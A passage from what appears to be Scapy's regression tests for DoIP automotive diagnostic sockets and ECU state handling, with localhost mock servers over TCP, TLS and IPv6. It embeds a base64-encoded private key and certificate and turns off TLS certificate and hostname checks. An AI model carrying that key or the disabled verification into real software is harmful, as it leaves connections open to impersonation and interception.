scapy_path(\"/test/pcaps/multiple_doip_layers.pcap.gz\")\n\npkts = sniff(offline=filename, session=TCPSession)\nprint(repr(pkts[0]))\nprint(repr(pkts[1]))\nassert len(pkts) == 2\nassert pkts[0][DoIP].payload_length == 2\nassert pkts[0][DoIP:2].payload_length == 7\nassert pkts[1][DoIP].payload_length == 103\n\n= Doip logical addressing\n\nfilename = scapy_path(\"/test/pcaps/doip_functional_request.pcap.gz\")\ntx_sock = TestSocket(DoIP)\nrx_sock = TestSocket(DoIP)\ntx_sock.pair(rx_sock)\n\nfor pkt in PcapReader(filename):\n    if pkt.haslayer(DoIP):\n        tx_sock.send(pkt[DoIP])\n\nans, unans = rx_sock.sr(DoIP(bytes(DoIP(payload_type=0x8001, source_address=0xe80, target_address=0xe400) / UDS() / UDS_TP())), multi=True, timeout=0.1, verbose=False)\n\ncleanup_testsockets()\n\nans.summary()\nif unans:\n    unans.summary()\n\nassert len(ans) == 8\nans.summary()\nassert len(unans) == 0\n\n\n+ DoIP Communication tests\n\n= Load libraries\nimport base64\nimport ssl\nimport tempfile\n\n= Test DoIPSocket\n\nserver_up = threading.Event()\nsniff_up = threading.Event()\ndef server():\n    buffer = b'\\x02\\xfd\\x80\\x02\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x02\\xfd\\x80\\x01\\x00\\x00\\x00\\n\\x10\\x10\\x0e\\x80P\\x03\\x002\\x01\\xf4'\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    try:\n        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        sock.bind(('127.0.0.1', 13400))\n        sock.listen(1)\n        server_up.set()\n        connection, address = sock.accept()\n        sniff_up.wait(timeout=1)\n        connection.send(buffer)\n        connection.close()\n    finally:\n        sock.close()\n\n\nserver_thread = threading.Thread(target=server)\nserver_thread.start()\nserver_up.wait(timeout=1)\nsock = DoIPSocket(activate_routing=False)\n\npkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set)\nserver_thread.join(timeout=1)\nassert len(pkts) == 2\n\n\n= Test DoIPSocket 2\n~ linux\n\nserver_up = threading.Event()\nsniff_up = threading.Event()\ndef server():\n    buffer = b'\\x02\\xfd\\x80\\x02\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x02\\xfd\\x80\\x01\\x00\\x00\\x00\\n\\x10\\x10\\x0e\\x80P\\x03\\x002\\x01\\xf4'\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    try:\n        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        sock.bind(('127.0.0.1', 13400))\n        sock.listen(1)\n        server_up.set()\n        try:\n            connection, address = sock.accept()\n            sniff_up.wait(timeout=1)\n            for i in range(len(buffer)):\n                connection.send(buffer[i:i+1])\n                time.sleep(0.01)\n        finally:\n            connection.close()\n    finally:\n        sock.close()\n\n\nserver_thread = threading.Thread(target=server)\nserver_thread.start()\nserver_up.wait(timeout=1)\nsock = DoIPSocket(activate_routing=False)\n\npkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set)\nserver_thread.join(timeout=1)\nassert len(pkts) == 2\n\n= Test DoIPSocket 2 enforce protocol_version\n~ linux\n\nserver_up = threading.Event()\nsniff_up = threading.Event()\ndef server():\n    buffer = b'\\x02\\xfd\\x80\\x02\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x02\\xfd\\x80\\x01\\x00\\x00\\x00\\n\\x10\\x10\\x0e\\x80P\\x03\\x002\\x01\\xf4'\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    try:\n        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        sock.bind(('127.0.0.1', 13400))\n        sock.listen(1)\n        server_up.set()\n        connection, address = sock.accept()\n        try:\n            sniff_up.wait(timeout=1)\n            connection.send(buffer)\n            doip_sock = DoIPSSLStreamSocket(connection)\n            pkts = doip_sock.sniff(timeout=2, count=1)\n            doip_sock.send(pkts[0])\n        finally:\n            connection.close()\n    finally:\n        sock.close()\n\n\nserver_thread = threading.Thread(target=server)\nserver_thread.start()\nserver_up.wait(timeout=1)\nsock = DoIPSocket(activate_routing=False, doip_version=3, enforce_doip_version=True)\n\npkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set)\nsock.send(DoIP(payload_type=0x8001, source_address=0xe80, target_address=0xe400) / UDS() / UDS_TP())\npkts2 = sock.sniff(timeout=1, count=1)\nserver_thread.join(timeout=1)\nassert len(pkts) == 2\nassert len(pkts2) == 1\nassert pkts2[0].protocol_version == 0x03\nassert pkts2[0].inverse_version == 0xfc\nassert pkts2[0].payload_type == 0x8001\nassert pkts2[0].service == 0x3E\n\n= Test DoIPSocket 3\n\nserver_up = threading.Event()\nsniff_up = threading.Event()\ndef server():\n    buffer = b'\\x02\\xfd\\x80\\x02\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x02\\xfd\\x80\\x01\\x00\\x00\\x00\\n\\x10\\x10\\x0e\\x80P\\x03\\x002\\x01\\xf4'\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    try:\n        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        sock.bind(('127.0.0.1', 13400))\n        sock.listen(1)\n        server_up.set()\n        connection, address = sock.accept()\n        sniff_up.wait(timeout=1)\n        while buffer:\n            randlen = random.randint(0, len(buffer))\n            connection.send(buffer[:randlen])\n            buffer = buffer[randlen:]\n            time.sleep(0.01)\n        connection.close()\n    finally:\n        sock.close()\n\n\nserver_thread = threading.Thread(target=server)\nserver_thread.start()\nserver_up.wait(timeout=1)\nsock = DoIPSocket(activate_routing=False)\n\npkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set)\nserver_thread.join(timeout=1)\nassert len(pkts) == 2\n\n\n= Test DoIPSocket6\n\nserver_up = threading.Event()\nsniff_up = threading.Event()\ndef server():\n    buffer = b'\\x02\\xfd\\x80\\x02\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x02\\xfd\\x80\\x01\\x00\\x00\\x00\\n\\x10\\x10\\x0e\\x80P\\x03\\x002\\x01\\xf4'\n    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)\n    try:\n        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        sock.bind(('::1', 13400))\n        sock.listen(1)\n        server_up.set()\n        connection, address = sock.accept()\n        sniff_up.wait(timeout=1)\n        connection.send(buffer)\n        connection.close()\n    finally:\n        sock.close()\n\n\nserver_thread = threading.Thread(target=server)\nserver_thread.start()\nserver_up.wait(timeout=1)\nsock = DoIPSocket(ip=\"::1\", activate_routing=False)\n\npkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set)\nserver_thread.join(timeout=1)\nassert len(pkts) == 2\n\n= Test DoIPSslSocket\n~ broken_windows\n\ncertstring = \"\"\"\nLS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2QUlCQURBTkJna3Foa2lHOXcwQkFRRUZB\nQVNDQktZd2dnU2lBZ0VBQW9JQkFRRFUvK0hRbVpzSDl2QVcKQ3ZMQjRxalpnZFJSSXE1b2JBanB4\nYUhoUGxCVEMvUlBzMHIxRVF0V0FtbXNEZFE3UGlLaCtYa1hES3pNY3lJSQp1a0ZpNThUQW1idGFj\nN0U5VmJHSnNlTWp2RkJKSkFqQXVtbFdRZk5XcSs2TkZhdmRkTDQrSTNBTVJ5TldJTkJYCjhHMzRo\ndldIbDdTOGhhSFFZN0FXcUZWVTNVL2xKR2pubnF3MEJraEIvVGRCTWIwM0habzkrVjIrWU9RZmk5\nQWsKTVRSRXpSeWVObWJqT0sxbHpXdFJXWkZZU0RnMEtqUVh4SkdFNVc5MzFPWitHL1NkbytTM1ZW\nSVRPdWxQbHRmVwpXMEdjeCsvZERSNFIxNG5mcUl5L1daMElHUVNXMlRsQytmeGJ0dURDUkFqelRz\nb0J3YjJ0cnpoR0VtYVFveUtNCnpBKzVSUHNyQWdNQkFBRUNnZ0VBRUJHaEoyWm5OVHh5YVY5TnZY\nQjI1NDNZQnRUMGVSUHBhanJLMXg0bk1OU3oKNE9LNFVzWlo1MnBnTHRHT1EzZm1aS0l0cEo1WlY1\ncVBUejdwN3VjUzhnQWNZUnNJUnpCMHA5d3FpWExMK3h0RApxUjB4dnR4VDJpUGlFblVNNndudHpr\nSHpKK0g0QkZLT2FvdjNaK3Fha2E1UmFCcmhheGRuaDBDNklLQmZtM3cyCm5zUWI2N0lCYWwrSnBs\nL1g5TENWRkdRT2owb0lmVWI5ZFp3OWQ3MCthSGVVb2xvMGdYZmxxcXFFcnl3ZDlPN2QKNnp4dGlx\ncnRyZUJhK1IraWs3NE1SK0xvaFNVR3o2VTRQaXhWQ3l1SnQ2U0hvRHR2L3dtSnltWDd2a0FRS2w1\nRQplK1JqUGVyakpUWTNzNXNXbEd2V21UTEtEbnVyS2pBYzZUOHhKb0pXWlFLQmdRRHdsd2RRdmww\nS28wNHhDUmtiCklYRGVJZE1jZkp2ejRGZEtka1BmVnZVT2xHVEpNZkRzbWNoUzZhcEJCQUdQMUU2\nVkN2VzJmUFdjaXhScHE3MW8KR2xtbWZ5RnlJRW0rL08yamMvSFRXWHp6Qjdoc0JISEltQklHczFU\nTC9iWFU3amhVQW5kWDdMK3RSRDBKNWRGVwpiN1VOOXNxaWdtRG42REJWZkxaUHgxRnlWUUtCZ1FE\naXBIT1BhNmVMSlk5R1FZdkw3OTIyTHNoU3ZYSUFVMERGCjBabTlqbjM2b3ZIY0kvWEZDdHVXank2\nWG9wbk9pbjlycmtUY2FDUnBvSEFNb00ycHdiR0tFY0dVVEY2RHQ3akYKRHVnd2srR21sbDkrbjM2\nM3Iwb09YNktSbWFhRStiZHoyNjNQVEhMaktYUnFyc3h5WEtMT3ZyTXhVNWNzMXJCeQpTMWI2ZGhr\nM2Z3S0JnRjlONUliMnNkS3ArQ3B5aVRCM0ljZk1yRjBuZTN1ekRjRWdjaWlCd05lQ3J4NElHNEVP\nCk5nMnFKRmhXNXV0NzFaa3kyenpyNlR1VzJJSTNsdk1ySlFKUWNBWk9oZ2dURjJ2ZFhSazA1TXM4\nN3JCVFhtTncKNGdzbmROck42UDZ0VTBEc0xTeDJTME91dVdNM1Y2S2U0NkRoZDBuQ3pmSnZ4dDNH\nWmszYURnaDFBb0dBWFhIcQpoNDZlZEx1V3VDUGNUTWhvUkc1RGdBSEdHQ1k3UlpTbTY4WHRZVUov\nc0FGUG10OWdMRko2cG1DUFE5NU1yUXdjCkxqZnVFM0xuMy8wSTd0NENvbWV4eGNBN0U5blRIOFNH\nclVpN3QrQzJITklNQUJZUTFaNU91L042K2Nhd0FkL28KYU5rZllWTzlRU015L2svOWZIcWFEVk5t\ndUVFSVhRZDlKQ1UvUG1jQ2dZQWI0RTBRWTdDZmlrV293OFIzSlhoZgo0MHFVVkdud09QKzJNbXE5\nd2ZmWkpTRHNFSTQvb2g0VGRnN0sybHNNazVsWnRaMyszTjljSDVUc1pMYlJtd2FMCm9sRVl6K1BB\nWU91MlMrY1l2bFlNL0V2WmlpRHJybjZuTStNbTNnaXJPYkNwMzcxd1ZxRFVsUnB4OUlwWVdYcnAK\nT3YxUXFHdXkwODdyQkk1cStWL3hqQT09Ci0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0KLS0tLS1C\nRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUQ3VENDQXRXZ0F3SUJBZ0lVVTNsendsTVNSa294Tkdk\nSFJzZllIcUtxcDAwd0RRWUpLb1pJaHZjTkFRRUwKQlFBd2dZVXhDekFKQmdOVkJBWVRBa1JGTVJN\nd0VRWURWUVFJREFwVGIyMWxMVk4wWVhSbE1Rd3dDZ1lEVlFRSApEQU5TUlVjeEVUQVBCZ05WQkFv\nTUNHUnBjM05sWTNSdk1Rd3dDZ1lEVlFRTERBTkVSVll4RFRBTEJnTlZCQU1NCkJGUkZVMVF4SXpB\naEJna3Foa2lHOXcwQkNRRVdGR052Ym5SaFkzUXRkWE5BWkdsemMyVmpMblJ2TUI0WERUSTAKTURN\neE9ERTVNek13TlZvWERUSTBNRFF4TnpFNU16TXdOVm93Z1lVeEN6QUpCZ05WQkFZVEFrUkZNUk13\nRVFZRApWUVFJREFwVGIyMWxMVk4wWVhSbE1Rd3dDZ1lEVlFRSERBTlNSVWN4RVRBUEJnTlZCQW9N\nQ0dScGMzTmxZM1J2Ck1Rd3dDZ1lEVlFRTERBTkVSVll4RFRBTEJnTlZCQU1NQkZSRlUxUXhJekFo\nQmdrcWhraUc5dzBCQ1FFV0ZHTnYKYm5SaFkzUXRkWE5BWkdsemMyVmpMblJ2TUlJQklqQU5CZ2tx\naGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQwpBUUVBMVAvaDBKbWJCL2J3RmdyeXdlS28yWUhV\nVVNLdWFHd0k2Y1doNFQ1UVV3djBUN05LOVJFTFZnSnByQTNVCk96NGlvZmw1Rnd5c3pITWlDTHBC\nWXVmRXdKbTdXbk94UFZXeGliSGpJN3hRU1NRSXdMcHBWa0h6VnF2dWpSV3IKM1hTK1BpTndERWNq\nVmlEUVYvQnQrSWIxaDVlMHZJV2gwR093RnFoVlZOMVA1U1JvNTU2c05BWklRZjAzUVRHOQpOeDJh\nUGZsZHZtRGtINHZRSkRFMFJNMGNualptNHppdFpjMXJVVm1SV0VnNE5DbzBGOFNSaE9WdmQ5VG1m\naHYwCm5hUGt0MVZTRXpycFQ1YlgxbHRCbk1mdjNRMGVFZGVKMzZpTXYxbWRDQmtFbHRrNVF2bjhX\nN2Jnd2tRSTgwN0sKQWNHOXJhODRSaEpta0tNaWpNd1B1VVQ3S3dJREFRQUJvMU13VVRBZEJnTlZI\nUTRFRmdRVVZhbUFkUjR1ZW8zQgpmV0RjUlMyUkQ3OEtlZXd3SHdZRFZSMGpCQmd3Rm9BVVZhbUFk\nUjR1ZW8zQmZXRGNSUzJSRDc4S2Vld3dEd1lEClZSMFRBUUgvQkFVd0F3RUIvekFOQmdrcWhraUc5\ndzBCQVFzRkFBT0NBUUVBRjE1TTNvL3RyUVdYeHdHamlxZjgKNXBUTEM0bHJwQkZaTFZDbStQdHd4\naENlN1ZSd2dLMElBb01EMW0vSjNEYnVJSjVURXlTVElnR2N0WHVNbG5pWgpsY3IwekZOZVVhQ08w\nYkdhaExYUXpCWTRxSkhTTUNWNnhiNXNqUDlEdk9HYnFxbHVTbk51ZFJ5UWNIbkd4SE0rCk1adXpO\nWUNseklOMEtYbFJuSTZqRXUrcG9XZ0pEMGN1NFM2b1lwT2R3bElRYmtaNnIrUE1jQ3hpRmhRd3E2\nem4KcE1nQzB0WlpSM3pCOEpVcTJwRHlGVy9jVlFjWkp5YUhnQkkwWlJWWG5wbDFqYng2YlNIOCts\ncnMxVk1xZDlkcQozd1BMcjBheWI2VkpNa29WMjNWSXAzLzlYQVpTR3Z6Y0dadnM2VThSUTdFbUtx\nakJibWxudm1CTkpUMk9xbFFRCllRPT0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=\"\"\"\n\ncertstring = certstring.replace('\\n', '')\n\ndef _load_certificate_chain(context) -> None:\n    with tempfile.NamedTemporaryFile(delete=False) as fp:\n        fp.write(base64.b64decode(certstring))\n        fp.close()\n        context.load_cert_chain(fp.name)\n\n\nserver_up = threading.Event()\nsniff_up = threading.Event()\ndef server():\n    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n    _load_certificate_chain(context)\n    context.check_hostname = False\n    context.verify_mode = ssl.CERT_NONE\n    buffer = b'\\x02\\xfd\\x80\\x02\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x02\\xfd\\x80\\x01\\x00\\x00\\x00\\n\\x10\\x10\\x0e\\x80P\\x03\\x002\\x01\\xf4'\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    ssock = context.wrap_socket(sock)\n    try:\n        ssock.bind(('127.0.0.1', 3496))\n        ssock.listen(1)\n        server_up.set()\n        connection, address = ssock.accept()\n        sniff_up.wait(timeout=1)\n        connection.send(buffer)\n        connection.close()\n    finally:\n        ssock.close()\n\n\nserver_thread = threading.Thread(target=server)\nserver_thread.start()\nserver_up.wait(timeout=1)\ncontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\ncontext.check_hostname = False\ncontext.verify_mode = ssl.CERT_NONE\nsock = DoIPSocket(activate_routing=False, force_tls=True, context=context)\n\npkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set)\nserver_thread.join(timeout=1)\nassert len(pkts) == 2\n\n= Test DoIPSslSocket6\n~ broken_windows\n\nserver_up = threading.Event()\nsniff_up = threading.Event()\ndef server():\n    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n    _load_certificate_chain(context)\n    context.check_hostname = False\n    context.verify_mode = ssl.CERT_NONE\n    buffer = b'\\x02\\xfd\\x80\\x02\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x02\\xfd\\x80\\x01\\x00\\x00\\x00\\n\\x10\\x10\\x0e\\x80P\\x03\\x002\\x01\\xf4'\n    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)\n    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    ssock = context.wrap_socket(sock)\n    try:\n        ssock.bind(('::1', 3496))\n        ssock.listen(1)\n        server_up.set()\n        connection, address = ssock.accept()\n        sniff_up.wait(timeout=1)\n        connection.send(buffer)\n        connection.close()\n    finally:\n        ssock.close()\n\n\nserver_thread = threading.Thread(target=server)\nserver_thread.start()\nserver_up.wait(timeout=1)\ncontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\ncontext.check_hostname = False\ncontext.verify_mode = ssl.CERT_NONE\nsock = DoIPSocket(ip=\"::1\", activate_routing=False, force_tls=True, context=context)\n\npkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set)\nserver_thread.join(timeout=1)\nassert len(pkts) == 2\n\n= Test UDS_DoIPSslSocket6\n~ broken_windows\n\nserver_up = threading.Event()\nsniff_up = threading.Event()\ndef server():\n    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n    _load_certificate_chain(context)\n    context.check_hostname = False\n    context.verify_mode = ssl.CERT_NONE\n    buffer = b'\\x02\\xfd\\x80\\x02\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x02\\xfd\\x80\\x01\\x00\\x00\\x00\\n\\x10\\x10\\x0e\\x80P\\x03\\x002\\x01\\xf4'\n    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)\n    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    ssock = context.wrap_socket(sock)\n    try:\n        ssock.bind(('::1', 3496))\n        ssock.listen(1)\n        server_up.set()\n        connection, address = ssock.accept()\n        sniff_up.wait(timeout=1)\n        connection.send(buffer)\n        connection.close()\n    finally:\n        ssock.close()\n\n\nserver_thread = threading.Thread(target=server)\nserver_thread.start()\nserver_up.wait(timeout=1)\ncontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\ncontext.check_hostname = False\ncontext.verify_mode = ssl.CERT_NONE\nsock = UDS_DoIPSocket(ip=\"::1\", activate_routing=False, force_tls=True, context=context)\n\npkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set)\nserver_thread.join(timeout=1)\nassert len(pkts) == 2\n\n= Test UDS_DualDoIPSslSocket6\n~ broken_windows not_pypy\n\nserver_tcp_up = threading.Event()\nserver_tls_up = threading.Event()\nsniff_up = threading.Event()\ndef server_tls():\n    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n    _load_certificate_chain(context)\n    context.check_hostname = False\n    context.verify_mode = ssl.CERT_NONE\n    buffer = bytes.fromhex(\"02fd0006000000090e8011061000000000\")\n    buffer += b'\\x02\\xfd\\x80\\x02\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x02\\xfd\\x80\\x01\\x00\\x00\\x00\\n\\x10\\x10\\x0e\\x80P\\x03\\x002\\x01\\xf4'\n    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)\n    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    ssock = context.wrap_socket(sock)\n    try:\n        ssock.bind(('::1', 3496))\n        ssock.listen(1)\n        server_tls_up.set()\n        connection, address = ssock.accept()\n        sniff_up.wait(timeout=1)\n        connection.send(buffer)\n        connection.close()\n    finally:\n        ssock.close()\n\ndef server_tcp():\n    buffer = bytes.fromhex(\"02fd0006000000090e8011060700000000\")\n    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)\n    try:\n        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        sock.bind(('::1', 13400))\n        sock.listen(1)\n        server_tcp_up.set()\n        connection, address = sock.accept()\n        connection.send(buffer)\n        connection.shutdown(socket.SHUT_RDWR)\n        connection.close()\n    finally:\n        sock.close()\n\n\nserver_tcp_thread = threading.Thread(target=server_tcp)\nserver_tcp_thread.start()\nserver_tcp_up.wait(timeout=1)\nserver_tls_thread = threading.Thread(target=server_tls)\nserver_tls_thread.start()\nserver_tls_up.wait(timeout=1)\ncontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\ncontext.check_hostname = False\ncontext.verify_mode = ssl.CERT_NONE\n\n\nsock = UDS_DoIPSocket(ip=\"::1\", context=context)\n\npkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set)\nserver_tcp_thread.join(timeout=1)\nserver_tls_thread.join(timeout=1)\nassert len(pkts) == 2\n\n= Test UDS_DualDoIPSslSocket6 force version 3\n~ broken_windows not_pypy\n\nserver_tcp_up = threading.Event()\nserver_tls_up = threading.Event()\nsniff_up = threading.Event()\ndef server_tls():\n    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n    _load_certificate_chain(context)\n    context.check_hostname = False\n    context.verify_mode = ssl.CERT_NONE\n    buffer = bytes.fromhex(\"03fc0006000000090e8011061000000000\")\n    buffer += b'\\x03\\xfc\\x80\\x02\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x03\\xfc\\x80\\x01\\x00\\x00\\x00\\n\\x10\\x10\\x0e\\x80P\\x03\\x002\\x01\\xf4'\n    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)\n    sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    ssock = context.wrap_socket(sock)\n    try:\n        ssock.bind(('::1', 3496))\n        ssock.listen(1)\n        server_tls_up.set()\n        connection, address = ssock.accept()\n        sniff_up.wait(timeout=1)\n        connection.send(buffer)\n        connection.close()\n    finally:\n        ssock.close()\n\ndef server_tcp():\n    buffer = bytes.fromhex(\"03fc0006000000090e8011060700000000\")\n    sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)\n    try:\n        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)\n        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        sock.bind(('::1', 13400))\n        sock.listen(1)\n        server_tcp_up.set()\n        connection, address = sock.accept()\n        connection.send(buffer)\n        connection.shutdown(socket.SHUT_RDWR)\n        connection.close()\n    finally:\n        sock.close()\n\n\nserver_tcp_thread = threading.Thread(target=server_tcp)\nserver_tcp_thread.start()\nserver_tcp_up.wait(timeout=1)\nserver_tls_thread = threading.Thread(target=server_tls)\nserver_tls_thread.start()\nserver_tls_up.wait(timeout=1)\ncontext = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\ncontext.check_hostname = False\ncontext.verify_mode = ssl.CERT_NONE\n\nconf.debug_dissector = True\n\nsock = UDS_DoIPSocket(ip=\"::1\", context=context, doip_version=3, enforce_doip_version=True)\n\npkts = sock.sniff(timeout=1, count=2, started_callback=sniff_up.set)\nserver_tcp_thread.join(timeout=1)\nserver_tls_thread.join(timeout=1)\nassert len(pkts) == 2"
  },
  {
    "path": "test/contrib/automotive/ecu.uts",
    "content": "% Regression tests for the Ecu utility\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n############\n############\n\n+ Setup\n~ conf command\n\n= Load modules\n\nimport copy\nimport itertools\n\nload_contrib(\"isotp\", globals_dict=globals())\nload_contrib(\"automotive.uds\", globals_dict=globals())\nload_contrib(\"automotive.gm.gmlan\", globals_dict=globals())\nload_layer(\"can\", globals_dict=globals())\nconf.contribs[\"CAN\"][\"swap-bytes\"] = True\n\n= Load Ecu module\n\nload_contrib(\"automotive.ecu\", globals_dict=globals())\nfrom scapy.contrib.automotive.uds_ecu_states import *\nfrom scapy.contrib.automotive.uds_logging import *\nfrom scapy.contrib.automotive.gm.gmlan_ecu_states import *\nfrom scapy.contrib.automotive.gm.gmlan_logging import *\n\n+ EcuState Basic checks\n\n= Check EcuState basic functionality\n\nstate = EcuState()\nstate[\"session\"] = 2\nstate[\"securityAccess\"] = 4\nprint(repr(state))\nassert repr(state) == \"securityAccess4session2\"\n\n= More complex tests\n\nstate = EcuState(ses=4)\nassert state.ses == 4\nstate.ses = 5\nassert state.ses == 5\n\n= Even more complex tests\n\nstate = EcuState(myinfo=\"42\")\n\nstate.ses = 5\nassert state.ses == 5\n\nstate[\"ses\"] = None\nassert state.ses is None\n\nstate.ses = 5\nassert 5 == state.ses\n\nassert \"42\" == state.myinfo\nassert repr(state) == \"myinfo42ses5\"\n\n= Delete Attribute Test\n\nstate = EcuState(myinfo=\"42\")\n\nstate.ses = 5\nassert state.ses == 5\n\ndel state.ses\n\ntry:\n    x = state.ses\n    assert False\nexcept (KeyError, AttributeError):\n    assert state.myinfo == \"42\"\n\n= Copy tests\n\nstate = EcuState(myinfo=\"42\")\nstate.ses = 5\n\nns = copy.copy(state)\n\nns.ses = 6\n\nassert ns.ses == 6\nassert state.ses == 5\nassert ns.myinfo == \"42\"\n\n\n= Move tests\n\nstate = EcuState(myinfo=\"42\")\nstate.ses = 5\n\nns = state\n\nns.ses = 6\n\nassert ns.ses == 6\nassert state.ses == 6\nassert ns.myinfo == \"42\"\n\n= equal tests\n\nstate = EcuState(myinfo=\"42\")\nstate.ses = 5\n\nns = copy.copy(state)\n\nassert state == ns\nassert hash(state) == hash(ns)\n\nns.ses = 6\n\nassert state != ns\nassert hash(state) != hash(ns)\n\nns.ses = 5\n\nassert state == ns\nassert hash(state) == hash(ns)\n\nns.sa = 5\n\nassert state != ns\nassert hash(state) != hash(ns)\n\n\n= hash tests\n\nstate = EcuState(myinfo=\"42\")\nstate.ses = 5\n\nns = copy.copy(state)\n\nassert hash(state) == hash(ns)\n\nns.ses = 6\n\nassert hash(state) != hash(ns)\n\nns.ses = 5\n\nassert hash(state) == hash(ns)\n\nns.sa = 5\n\nassert hash(state) != hash(ns)\n\n= command tests\n\nstate = EcuState(myinfo=\"42\")\nstate.ses = 5\n\nstate.command()\nassert \"EcuState(myinfo='42', ses=5)\" == state.command()\n\n= less than tests\n\ns1 = EcuState()\ns2 = EcuState()\n\ns1.a = 1\ns2.a = 2\n\nassert s1 < s2\n\ns1.b = 4\n\nassert s1 > s2\n\ns2.b = 1\n\nassert s1 < s2\n\ns1.a = 2\n\nassert s1 > s2\n\n= less than tests 2\n\ns1 = EcuState()\ns2 = EcuState()\n\ns1.c = \"x\"\ns2.c = 4\nexception = False\n\ntry:\n    assert s1 < s2\nexcept TypeError:\n    exception = True\n\nassert exception\n\n= less than tests 3\n\ns1 = EcuState()\ns2 = EcuState()\n\n\ns1.A = 1\ns1.a = 2\n\ns2.A = 2\ns2.a = 1\n\nassert s1 < s2\n\n= less than tests 4\n\ns1 = EcuState()\ns2 = EcuState()\n\n\ns1.A = 1\ns1.a = 2\n\ns2.A = 2\ns2.b = 100\n\nassert s1 < s2\n\n= less than tests 5\n\ns1 = EcuState()\ns2 = EcuState()\n\n\ns1.A = 100\ns1.a = 2\n\ns2.A = 2\ns2.b = 100\n\nassert s1 > s2\nassert not s1 > s1\nassert not s1 < s1\n\n= less than tests 6\n\ns1 = EcuState()\ns2 = EcuState()\n\n\ns1.A = 100\ns1.B = 200\n\ns2.a = 2\ns2.b = 1\n\nassert s1 < s2\n\n= contains test\n\ns1 = EcuState(ses=[1,2,3])\ns2 = EcuState(ses=1)\n\nassert s1 != s2\nassert s2 in s1\nassert s1 not in s2\n\ns1 = EcuState(ses=[2,3])\ns2 = EcuState(ses=1)\n\nassert s1 != s2\nassert s2 not in s1\nassert s1 not in s2\n\n\ns1 = EcuState(ses=[1,2,3], security=5)\ns2 = 